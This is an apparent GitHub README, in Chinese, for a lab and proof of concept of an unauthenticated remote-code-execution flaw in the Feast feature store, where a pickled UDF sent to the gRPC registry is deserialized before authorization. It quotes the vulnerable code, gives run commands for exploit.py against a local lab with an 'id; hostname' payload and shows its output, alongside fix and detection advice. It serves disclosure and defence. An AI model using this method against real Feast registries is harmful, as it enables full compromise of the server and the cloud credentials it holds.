BiiTts/CVE-2026-56121-Feast-Unauth-RCE
GitHub: BiiTts/CVE-2026-56121-Feast-Unauth-RCE
针对 Feast 特征存储平台 CVE-2026-56121 未授权 RCE 漏洞的复现环境与 PoC,利用 gRPC registry 中 dill 反序列化在鉴权前执行的缺陷实现任意代码执行。
Stars: 0 | Forks: 0
# CVE-2026-56121 — 通过 gRPC Registry 反序列化实现的 Feast 未授权 RCE
| | |
|---|---|
| **CVE** | CVE-2026-56121 |
| **受影响版本** | Feast `< 0.63.0` |
| **修复版本** | `0.63.0` |
| **类别** | CWE-502 (不可信数据反序列化) → RCE |
| **CVSS** | `9.8` — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **认证** | **无** (`auth: no_auth` 为默认值;反序列化发生在授权之前) |
| **攻击面** | registry gRPC `RegistryServer.ApplyFeatureView` (默认端口 `6570`) |
| **状态** | **已确认** — 已针对 `feast==0.62.0` 完成端到端复现 |
## 根本原因
`sdk/python/feast/registry_server.py`:
```
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) deserialize
...
assert_permissions_to_update(resource=feature_view, ...) # (2) authorize
self.proxied_registry.apply_feature_view(...)
```
`from_proto` (1) 在权限检查 (2) **之前**被调用。它会解析 transformation,而这会通过 `dill.loads()` 执行 UDF 主体 —
`sdk/python/feast/transformation/pandas_transformation.py` (以及 `python_transformation.py`):
```
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # <-- attacker-controlled pickle
udf_string=user_defined_function_proto.body_text,
)
```
`dill` 是 pickle 的超集,因此对攻击者提供的字节执行 `dill.loads()` 会触发 pickle 的 `__reduce__` 机制 → 任意代码执行。由于它在 `assert_permissions_to_update` 之前运行——而且默认的 `auth: no_auth` 无论如何都会使该检查变为空操作——因此该 RCE 是**未经授权的**。
## 复现
```
# 1. 启动一个存在漏洞的 registry server (feast 0.62.0, gRPC :6570, 默认 no_auth)
docker compose -f lab/docker-compose.yml up --build -d
# 2. 触发 PoC (无凭据)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"
# 3. 命令输出出现在 registry 主机上
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
# uid=...(...)
```
观察结果:
```
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.
```
RPC 最终会报错(反序列化后的对象不再是一个可调用的 UDF),但是命令在 `dill.loads()` 期间**已经执行过了**——`cat /tmp/feast_pwned` 会返回实时的 `id`/`uname` 输出,从而证明这并非回显,而是真实的命令执行。
## 影响
任何能够访问 Feast registry gRPC 端口的人都可以以 registry 服务账户的身份执行任意 OS 命令——这将导致 feature store 及其连接的 offline/online stores、registries 和云凭证被完全攻破。在 ML 平台内部,Feast registries 经常被暴露出来以供 SDK 客户端调用。
## 修复建议
* 升级至 **Feast ≥ 0.63.0**,该版本添加了 `skip_udf` 路径,使得 registry server 不再反序列化传入 spec 中的 UDF 主体。
* 纵深防御:启用 `auth` (oidc/kubernetes) 并且切勿将 registry 端口暴露给不受信任的网络。请注意,在 `< 0.63.0` 版本上,仅有 auth 是**不够的**,因为反序列化发生在授权检查之前。
## 检测
针对发往 registry 的 `ApplyFeatureView` / `ApplyMaterialization` RPC(且其 `OnDemandFeatureView` 中的 `user_defined_function.body` 并非由受信任的客户端生成)以及生成 shell 的 registry 进程发出警报。
有关 proto 路径、认证前反序列化的执行顺序以及补丁详情,请参阅 [`ANALYSIS.md`](ANALYSIS.md)。
* 作者:**Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts)
* 漏洞致谢属于最初的报告者/供应商公告;本仓库是出于防御和教育目的的独立复现。仅供授权的安全测试使用。
标签:Go语言工具, gRPC, Python, Python工具, 反序列化漏洞, 安全研究与复现环境, 无后门, 版权保护, 编程工具, 请求拦截, 远程代码执行, 逆向工具